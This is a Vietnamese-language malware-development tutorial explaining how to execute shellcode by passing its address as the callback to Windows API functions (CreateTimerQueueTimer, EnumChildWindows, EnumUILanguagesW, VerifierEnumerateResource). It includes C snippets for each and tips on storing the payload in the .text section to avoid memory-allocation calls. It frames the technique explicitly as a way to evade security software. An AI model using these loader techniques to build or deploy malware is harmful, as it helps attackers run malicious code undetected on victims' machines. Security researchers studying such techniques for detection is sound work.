Callback Functions

Hàm callback là một đoạn mã được triển khai trong ứng dụng và được truyền vào DLL của thư viện để thực thi các tác vụ cụ thể khi một hàm trong thư viện hoàn tất.

Minh họa:

Abusing Callback Functions

Chúng ta sẽ lợi dụng các hàm trong Windows API cho phép truyền callback để thực thi shellcode. Thay vì cung cấp một callback hợp lệ, chúng ta sẽ truyền trực tiếp địa chỉ của shellcode.

Một số điểm mạnh của kỹ thuật này:

  • Việc sử dụng các hàm của Windows API sẽ giúp tránh né được sự phát hiện của các giải pháp bảo mật do chúng là các hàm vô hại của hệ điều hành.
  • Có thể thay thế cách thực thi shellcode thông qua việc tạo thread.
  • Không nhất thiết phải gọi các hàm nhận callback theo cách thông thường, vì giá trị trả về hoặc chức năng của chúng không quan trọng trong trường hợp này.

Note

Lưu ý rằng các hàm callback chỉ hoạt động trong không gian địa chỉ của tiến trình hiện tại và không thể được sử dụng để thực hiện các kỹ thuật remote code injection.

Sample Callback Functions

Một số hàm nơi nhận callback mà có thể bị lạm dụng để thực thi shellcode:

  1. Tham số thứ 3 của CreateTimerQueueTimer:

    BOOL CreateTimerQueueTimer(
      [out]          PHANDLE             phNewTimer,
      [in, optional] HANDLE              TimerQueue,
      [in]           WAITORTIMERCALLBACK Callback,      // here
      [in, optional] PVOID               Parameter,
      [in]           DWORD               DueTime,
      [in]           DWORD               Period,
      [in]           ULONG               Flags
    );
  2. Tham số thứ 2 của EnumChildWindows:

    BOOL EnumChildWindows(
      [in, optional] HWND        hWndParent,
      [in]           WNDENUMPROC lpEnumFunc,    // here
      [in]           LPARAM      lParam
    );
  3. Tham số thứ 1 của EnumUILanguagesW:

    BOOL EnumUILanguagesW(
      [in] UILANGUAGE_ENUMPROCW lpUILanguageEnumProc,     // here
      [in] DWORD                dwFlags,
      [in] LONG_PTR             lParam
    );
  4. Tham số thứ 4 của VerifierEnumerateResource:

    ULONG VerifierEnumerateResource(
      HANDLE                           Process,
      ULONG                            Flags,
      ULONG                            ResourceType,
      AVRF_RESOURCE_ENUMERATE_CALLBACK ResourceCallback,     // here
      PVOID                            EnumerationContext
    );

Note

Chúng ta sẽ lưu payload ở trong vùng .text (có quyền đọc và thực thi) mà không cần phải cấp phát vùng nhớ có quyền thực thi thông qua VirtualAlloc, VirtualProtect và một số hàm cấp phát bộ nhớ khác.

Using CreateTimerQueueTimer

Hàm này sẽ tạo ra một bộ đếm thời gian (timer) và thêm nó vào hàng đợi bộ đếm thời gian mà ta chỉ định. Tham số thứ 3 của hàm là một hàm callback mà sẽ được thực thi sau khi bộ đếm thời gian hoàn tất và sẽ được thực thi bởi thread tạo ra hàng đợi bộ đếm thời gian.

HANDLE hTimer = NULL;
 
if (!CreateTimerQueueTimer(&hTimer, NULL, (WAITORTIMERCALLBACK)Payload, NULL, NULL, NULL, NULL)){
	printf("[!] CreateTimerQueueTimer Failed With Error : %d \n", GetLastError());
	return -1;
}

Using EnumChildWindows

Cho phép một chương trình liệt kê tất cả các cửa sổ con của một cửa sổ cha. Nó nhận vào handle đến cửa sổ cha làm đối số đầu tiên và một callback của người dùng làm đối số thứ 2. Callback này sẽ được gọi một lần cho mỗi cửa sổ con ở trong cửa sổ cha mà hệ điều hành liệt kê được. Với mỗi lần gọi hàm, callback sẽ nhận vào handle của cửa sổ con và một giá trị do người dùng tự định nghĩa làm đối số.

if (!EnumChildWindows(NULL, (WNDENUMPROC)Payload, NULL)) {
	printf("[!] EnumChildWindows Failed With Error : %d \n", GetLastError());
	return -1;
}

Using EnumUILanguagesW

Hàm này giúp liệt kê các ngôn ngữ giao diện người dùng (UI) mà được cài đặt ở trên hệ thống. Nó nhận vào một callback và thực thi một lần đối với mỗi ngôn ngữ UI mà hệ điều hành liệt kê được. Giá trị của đối số có thể là bất cứ cờ nào được liệt kê ở đây.

if (!EnumUILanguagesW((UILANGUAGE_ENUMPROCW)Payload, MUI_LANGUAGE_NAME, NULL)) {
	printf("[!] EnumUILanguagesW Failed With Error : %d \n", GetLastError());
	return -1;
}

Using VerifierEnumerateResource

Hàm này được sử dụng để liệt kê các resource (chẳng hạn như các chuỗi, bitmap và template của dialog box) có trong một module (có thể là file thực thi hoặc DLL). Nó được export từ verifier.dll và ta cần phải dùng hàm LoadLibrary cũng như là hàm GetProcAddress để lấy địa chỉ ở trên vùng nhớ.

HMODULE hModule = NULL;
fnVerifierEnumerateResource pVerifierEnumerateResource = NULL;
 
hModule = LoadLibraryA("verifier.dll");
if (hModule == NULL){
	printf("[!] LoadLibraryA Failed With Error : %d \n", GetLastError());
	return -1;
}
 
pVerifierEnumerateResource = GetProcAddress(hModule, "VerifierEnumerateResource");
if (pVerifierEnumerateResource == NULL) {
	printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
	return -1;
}
 
// Must set the AvrfResourceHeapAllocation flag to run the payload
pVerifierEnumerateResource(GetCurrentProcess(), NULL, AvrfResourceHeapAllocation, (AVRF_RESOURCE_ENUMERATE_CALLBACK)Payload, NULL);

Cần chú ý rằng nếu đối số của tham số ResourceType không phải là AvrfResourceHeapAllocation thì shellcode sẽ không được thực thi.

Resources